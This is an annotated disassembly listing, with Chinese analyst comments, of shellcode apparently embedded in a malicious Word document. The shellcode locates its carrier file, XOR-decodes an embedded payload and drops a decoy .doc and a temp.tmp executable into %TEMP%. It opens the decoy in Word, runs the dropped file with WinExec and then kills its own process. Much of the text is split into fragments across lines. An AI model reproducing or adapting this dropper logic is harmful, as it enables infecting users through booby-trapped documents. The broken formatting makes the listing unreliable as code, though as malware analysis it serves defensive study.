seg
000
:
0000013
F
8
B EC mov ebp
,
esp
seg
000
:
00000141
83
EC
78
sub esp
,
78
h
seg
000
:
00000144
89
7
D FC mov [ebp
-4
]
,
edi
seg
000
:
00000147
6
A
04
push
4
seg
000
:
00000149
seg
000
:
00000149
loc_
149
:
; CODE XREF
:
seg
000
:
0000015
Bj
seg
000
:
00000149
5
E pop esi
seg
000
:
0000014
A
54
push esp
seg
000
:
0000014
B
56
push esi
seg
000
:
0000014
C FF
57
BC call dword ptr [edi
-44
h] ; GetFileSize
seg
000
:
0000014
F
89
45
D
0
mov [ebp
-30
h]
,
eax
seg
000
:
00000152
83
F
8
FF cmp eax
,
0
FFFFFFFFh
seg
000
:
00000155
75
06
jnz short loc_
15
D
seg
000
:
00000157
seg
000
:
00000157
loc_
157
:
; CODE XREF
:
seg
000
:
00000162
j
seg
000
:
00000157
; seg
000
:
00000183
j ...
seg
000
:
00000157
83
C
6
04
add
esi
,
4
seg
000
:
0000015
A
56
push esi
seg
000
:
0000015
B EB EC jmp short loc_
149
seg
000
:
0000015
D ;
seg
000
:
0000015
D
seg
000
:
0000015
D loc_
15
D
:
; CODE XREF
:
seg
000
:
00000155
j
seg
000
:
0000015
D
3
D
00
20
00
00
cmp eax
,
2000
h
seg
000
:
00000162
76
F
3
jbe short loc_
157
seg
000
:
00000164
6
A
00
push
0
seg
000
:
00000166
6
A
00
push
0
seg
000
:
00000168
68
00
80
00
00
push
8000
h
seg
000
:
0000016
D
56
push esi
seg
000
:
0000016
E FF
57
C
0
call dword ptr [edi
-40
h] ; SetFilePointer
seg
000
:
00000171
8
D
45
E
4
lea eax
,
[ebp
-1
Ch]
seg
000
:
00000174
6
A
00
push
0
seg
000
:
00000176
50
push eax
seg
000
:
00000177
6
A
14
push
14
h
seg
000
:
00000179
8
D
45
E
8
lea eax
,
[ebp
-18
h]
seg
000
:
0000017
C
50
push eax
seg
000
:
0000017
D
56
push esi
seg
000
:
0000017
E FF
57
C
4
call dword ptr [edi
-3
Ch] ; ReadFile
seg
000
:
00000181
85
C
0
test eax
,
eax
seg
000
:
00000183
74
D
2
jz short loc_
157
seg
000
:
00000185
81
7
D E
8
70
6
F
69
75
cmp dword ptr [ebp
-18
h]
,
'uiop'
seg
000
:
0000018
C
75
C
9
jnz short loc_
157
seg
000
:
0000018
E
81
7
D EC
3
D
6
F
57
8
E cmp dword ptr [ebp
-14
h]
,
'嶹o
=
'
seg
000
:
00000195
75
C
0
jnz short loc_
157
; 不断的读取,比较是不是自己需要的东西
seg
000
:
00000197
89
75
E
8
mov [ebp
-18
h]
,
esi
seg
000
:
0000019
A
8
B
45
F
8
mov eax
,
[ebp
-8
]
seg
000
:
0000019
D
03
45
F
4
add
eax
,
[ebp
-0
Ch]
seg
000
:
000001
A
0
03
45
F
0
add
eax
,
[ebp
-10
h]
seg
000
:
000001
A
3
89
45
EC mov [ebp
-14
h]
,
eax
seg
000
:
000001
A
6
50
push eax
seg
000
:
000001
A
7
6
A
40
push
40
h ; '@'
seg
000
:
000001
A
9
FF
57
D
8
call dword ptr [edi
-28
h] ; GlobalAlloc
seg
000
:
000001
AC
89
45
E
4
mov [ebp
-1
Ch]
,
eax
seg
000
:
000001
AF
85
C
0
test eax
,
eax
seg
000
:
000001
B
1
0
F
84
C
5
01
00
00
jz near ptr loc_
37
A
+
2
seg
000
:
000001
B
7
8
D
45
E
0
lea eax
,
[ebp
-20
h]
seg
000
:
000001
BA
6
A
00
push
0
seg
000
:
000001
BC
50
push eax
seg
000
:
000001
BD FF
75
EC push dword ptr [ebp
-14
h]
seg
000
:
000001
C
0
FF
75
E
4
push dword ptr [ebp
-1
Ch]
seg
000
:
000001
C
3
56
push esi
seg
000
:
000001
C
4
FF
57
C
4
call dword ptr [edi
-3
Ch] ; ReadFile
seg
000
:
000001
C
7
85
C
0
test eax
,
eax
seg
000
:
000001
C
9
0
F
84
AD
01
00
00
jz near ptr loc_
37
A
+
2
seg
000
:
000001
CF
6
A
00
push
0
seg
000
:
000001
D
1
6
A
00
push
0
seg
000
:
000001
D
3
6
A
00
push
0
seg
000
:
000001
D
5
6
A
04
push
4
seg
000
:
000001
D
7
6
A
00
push
0
seg
000
:
000001
D
9
FF
75
E
8
push dword ptr [ebp
-18
h]
seg
000
:
000001
DC FF
57
EC call dword ptr [edi
-14
h] ; CreateFileMappingA
seg
000
:
000001
DF
89
45
DC mov [ebp
-24
h]
,
eax
seg
000
:
000001
E
2
83
F
8
00
cmp eax
,
0
seg
000
:
000001
E
5
74
51
jz short loc_
238
seg
000
:
000001
E
7
6
A
00
push
0
seg
000
:
000001
E
9
6
A
00
push
0
seg
000
:
000001
EB
6
A
00
push
0
seg
000
:
000001
ED
6
A
06
push
6
seg
000
:
000001
EF FF
75
DC push dword ptr [ebp
-24
h]
seg
000
:
000001
F
2
FF
57
E
8
call dword ptr [edi
-18
h] ; MapViewOfFile
seg
000
:
000001
F
5
89
45
C
8
mov [ebp
-38
h]
,
eax
seg
000
:
000001
F
8
83
F
8
00
cmp eax
,
0
seg
000
:
000001
FB
74
3
B jz short loc_
238
seg
000
:
000001
FD
81
EC
04
04
00
00
sub esp
,
404
h
seg
000
:
00000203
8
D
44
24
04
lea eax
,
[esp
+
4
]
seg
000
:
00000207
54
push esp
seg
000
:
00000208
68
00
02
00
00
push
200
h
seg
000
:
0000020
D
50
push eax
seg
000
:
0000020
E
6
A
02
push
2
seg
000
:
00000210
FF
75
C
8
push dword ptr [ebp
-38
h]
seg
000
:
00000213
6
A FF push
0
FFFFFFFFh
seg
000
:
00000215
FF
57
FC call dword ptr [edi
-4
] ; ZwQueryVirtualMemory
,
枚举进程模块获取文件名
seg
000
:
00000218
83
F
8
00
cmp eax
,
0
seg
000
:
0000021
B
75
1
B jnz short loc_
238
seg
000
:
0000021
D
33
C
0
xor eax
,
eax
seg
000
:
0000021
F
8
D
7
C
24
04
lea edi
,
[esp
+
4
]
seg
000
:
00000223
F
2
66
AF repne scasw
seg
000
:
00000226
8
B DF mov ebx
,
edi
seg
000
:
00000228
8
B
7
D FC mov edi
,
[ebp
-4
]
seg
000
:
0000022
B
seg
000
:
0000022
B loc_
22
B
:
; CODE XREF
:
seg
000
:
00000231
j
seg
000
:
0000022
B
4
B dec ebx
seg
000
:
0000022
C
4
B dec ebx
seg
000
:
0000022
D
66
83
3
B
5
C cmp
word
ptr [ebx]
,
5
Ch ; '\'
seg
000
:
00000231
75
F
8
jnz short loc_
22
B
seg
000
:
00000233
43
inc ebx
seg
000
:
00000234
43
inc ebx
seg
000
:
00000235
89
5
D C
4
mov [ebp
-3
Ch]
,
ebx
seg
000
:
00000238
seg
000
:
00000238
loc_
238
:
; CODE XREF
:
seg
000
:
000001
E
5
j
seg
000
:
00000238
; seg
000
:
000001
FBj ...
seg
000
:
00000238
8
B
5
D E
4
mov ebx
,
[ebp
-1
Ch]
seg
000
:
0000023
B
8
B
4
D EC mov ecx
,
[ebp
-14
h]
seg
000
:
0000023
E
seg
000
:
0000023
E loc_
23
E
:
; CODE XREF
:
seg
000
:
00000242
j
seg
000
:
0000023
E
30
4
C
0
B FF xor [ebx
+
ecx
-1
]
,
cl
seg
000
:
00000242
E
2
FA loop loc_
23
E
seg
000
:
00000244
B
9
00
10
00
00
mov ecx
,
1000
h
seg
000
:
00000249
8
D
53
01
lea edx
,
[ebx
+
1
]
seg
000
:
0000024
C
seg
000
:
0000024
C loc_
24
C
:
; CODE XREF
:
seg
000
:
0000025
Cj
seg
000
:
0000024
C
8
A
44
4
B FE mov al
,
[ebx
+
ecx
*
2
-2
]
seg
000
:
00000250
8
A
64
4
B FF mov ah
,
[ebx
+
ecx
*
2
-1
]
seg
000
:
00000254
88
44
4
B FF mov [ebx
+
ecx
*
2
-1
]
,
al
seg
000
:
00000258
88
64
4
B FE mov [ebx
+
ecx
*
2
-2
]
,
ah ; 获得temp.tmp文件名
seg
000
:
0000025
C E
2
EE loop loc_
24
C
seg
000
:
0000025
E
03
5
D F
0
add
ebx
,
[ebp
-10
h]
seg
000
:
00000261
89
5
D E
0
mov [ebp
-20
h]
,
ebx
seg
000
:
00000264
03
5
D F
4
add
ebx
,
[ebp
-0
Ch]
seg
000
:
00000267
89
5
D DC mov [ebp
-24
h]
,
ebx
seg
000
:
0000026
A
81
EC
04
01
00
00
sub esp
,
104
h
seg
000
:
00000270
C
7
04
24
63
6
D
64
2
E mov dword ptr [esp]
,
'.dmc'
seg
000
:
00000277
C
7
44
24
04
65
78
65
20
mov dword ptr [esp
+
4
]
,
' exe'
seg
000
:
0000027
F C
7
44
24
08
2
F
63
20
73
mov dword ptr [esp
+
8
]
,
's
c
/
'
seg
000
:
00000287
C
7
44
24
0
C
74
61
72
74
mov dword ptr [esp
+
0
Ch]
,
'trat'
seg
000
:
0000028
F C
7
44
24
10
20
57
49
4
E mov dword ptr [esp
+
10
h]
,
'NIW '
seg
000
:
00000297
C
7
44
24
14
57
4
F
52
44
mov dword ptr [esp
+
14
h]
,
'DROW'
seg
000
:
0000029
F C
7
44
24
18
2
E
45
58
45
mov dword ptr [esp
+
18
h]
,
'EXE.'
seg
000
:
000002
A
7
C
7
44
24
1
C
20
2
F
71
20
mov dword ptr [esp
+
1
Ch]
,
' q
/
'
seg
000
:
000002
AF C
7
44
24
20
22
00
00
00
mov dword ptr [esp
+
20
h]
,
22
h ; '
"' ; 压栈需要调用的字符命名
seg000:000002B7 89 65 C0 mov [ebp-40h], esp
seg000:000002BA 8D 44 24 21 lea eax, [esp+21h]
seg000:000002BE 89 45 D8 mov [ebp-28h], eax
seg000:000002C1 FF 75 D8 push dword ptr [ebp-28h]
seg000:000002C4 68 04 01 00 00 push 104h
seg000:000002C9 FF 57 DC call dword ptr [edi-24h] ; GetTempPath
seg000:000002CC 85 C0 test eax, eax
seg000:000002CE 0F 84 A8 00 00 00 jz near ptr loc_37A+2
seg000:000002D4 03 45 D8 add eax, [ebp-28h]
seg000:000002D7 89 45 CC mov [ebp-34h], eax
seg000:000002DA 6A 00 push 0
seg000:000002DC 6A 00 push 0
seg000:000002DE 68 04 01 00 00 push 104h
seg000:000002E3 FF 75 CC push dword ptr [ebp-34h]
seg000:000002E6 6A FF push 0FFFFFFFFh
seg000:000002E8 FF 75 C4 push dword ptr [ebp-3Ch]
seg000:000002EB 6A 00 push 0
seg000:000002ED 6A 00 push 0
seg000:000002EF FF 57 E4 call dword ptr [edi-1Ch] ; WideCharToMultiByte 转换自身的名字为多字符集
seg000:000002F2 89 45 C4 mov [ebp-3Ch], eax
seg000:000002F5 83 F8 00 cmp eax, 0
seg000:000002F8 74 44 jz short loc_33E
seg000:000002FA 6A 00 push 0
seg000:000002FC FF 75 D8 push dword ptr [ebp-28h]
seg000:000002FF FF 57 D4 call dword ptr [edi-2Ch] ; _lCreate在%TEMP%目录创建一个真的DOC
seg000:00000302 89 45 E8 mov [ebp-18h], eax
seg000:00000305 83 F8 FF cmp eax, 0FFFFFFFFh
seg000:00000308 74 34 jz short loc_33E
seg000:0000030A FF 75 F8 push dword ptr [ebp-8]
seg000:0000030D FF 75 DC push dword ptr [ebp-24h]
seg000:00000310 FF 75 E8 push dword ptr [ebp-18h]
seg000:00000313 FF 57 D0 call dword ptr [edi-30h] ; lWrite写入数据
seg000:00000316 FF 75 E8 push dword ptr [ebp-18h]
seg000:00000319 FF 57 CC call dword ptr [edi-34h] ; CloseHandle
seg000:0000031C 8B 5D C4 mov ebx, [ebp-3Ch]
seg000:0000031F 03 5D CC add ebx, [ebp-34h]
seg000:00000322 4B dec ebx
seg000:00000323 66 C7 03 22 00 mov word ptr [ebx], 22h ; '"
'
seg
000
:
00000328
6
A
00
push
0
seg
000
:
0000032
A FF
75
C
0
push dword ptr [ebp
-40
h]
seg
000
:
0000032
D FF
57
E
0
call dword ptr [edi
-20
h] ; WinExec
seg
000
:
0000032
D ; cmd.exe
/
c start WINWORD.EXE
/
q
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\6845288E2BE0BE1ADBC3A3D4C6AAAA63.doc"
seg
000
:
00000330
8
B
7
D CC mov edi
,
[ebp
-34
h]
seg
000
:
00000333
8
B
75
E
4
mov esi
,
[ebp
-1
Ch]
seg
000
:
00000336
8
B
4
D F
0
mov ecx
,
[ebp
-10
h]
seg
000
:
00000339
F
3
A
4
rep movsb
seg
000
:
0000033
B
8
B
7
D FC mov edi
,
[ebp
-4
]
seg
000
:
0000033
E
seg
000
:
0000033
E loc_
33
E
:
; CODE XREF
:
seg
000
:
000002
F
8
j
seg
000
:
0000033
E ; seg
000
:
00000308
j
seg
000
:
0000033
E
6
A
02
push
2
seg
000
:
00000340
FF
75
D
8
push dword ptr [ebp
-28
h]
seg
000
:
00000343
FF
57
D
4
call dword ptr [edi
-2
Ch] ; lCreate,在%TEMP%目录创建Temp.tmp的文件
seg
000
:
00000346
89
45
D
4
mov [ebp
-2
Ch]
,
eax
seg
000
:
00000349
83
F
8
FF cmp eax
,
0
FFFFFFFFh
seg
000
:
0000034
C
0
F
84
81
00
00
00
jz near ptr
3
D
3
h
seg
000
:
00000352
FF
75
F
4
push dword ptr [ebp
-0
Ch]
seg
000
:
00000355
FF
75
E
0
push dword ptr [ebp
-20
h]
seg
000
:
00000358
50
push eax
seg
000
:
00000359
FF
57
D
0
call dword ptr [edi
-30
h] ; lWrite写入数据
seg
000
:
0000035
C FF
75
D
4
push dword ptr [ebp
-2
Ch]
seg
000
:
0000035
F FF
57
CC call dword ptr [edi
-34
h] ; CloseHandle
seg
000
:
00000362
6
A
00
push
0
seg
000
:
00000364
FF
75
D
8
push dword ptr [ebp
-28
h]
seg
000
:
00000367
FF
57
E
0
call dword ptr [edi
-20
h] ; WinExec执行恶意文件
seg
000
:
00000367
; C
:
\DOCUME~
1
\ADMINI~
1
\LOCALS~
1
\Temp\temp.tmp
seg
000
:
0000036
A
83
F
8
1
F cmp eax
,
1
Fh
seg
000
:
0000036
D
76
64
jbe short near ptr
3
D
3
h
seg
000
:
0000036
F
8
B
7
D C
8
mov edi
,
[ebp
-38
h]
seg
000
:
00000372
8
B
75
DC mov esi
,
[ebp
-24
h]
seg
000
:
00000375
8
B
4
D F
8
mov ecx
,
[ebp
-8
]
seg
000
:
00000378
F
3
A
4
rep movsb
seg
000
:
0000037
A
seg
000
:
0000037
A loc_
37
A
:
; CODE XREF
:
seg
000
:
000001
B
1
j
seg
000
:
0000037
A ; seg
000
:
000001
C
9
j ...
seg
000
:
0000037
A
8
B
7
D FC mov edi
,
[ebp
-4
]
seg
000
:
0000037
D FF
57
F
0
call dword ptr [edi
-10
h] ; GetCurrentProcess
seg
000
:
00000380
6
A
00
push
0
seg
000
:
00000382
50
push eax
seg
000
:
00000383
FF
57
F
4
call dword ptr [edi
-0
Ch] ; TerminateProcess
seg
000
:
00000386
DA DA fcmovu st
,
st
(
2
)
seg
000
:
00000388
DA DA fcmovu st
,
st
(
2
)
seg
000
:
00000388
seg
000
ends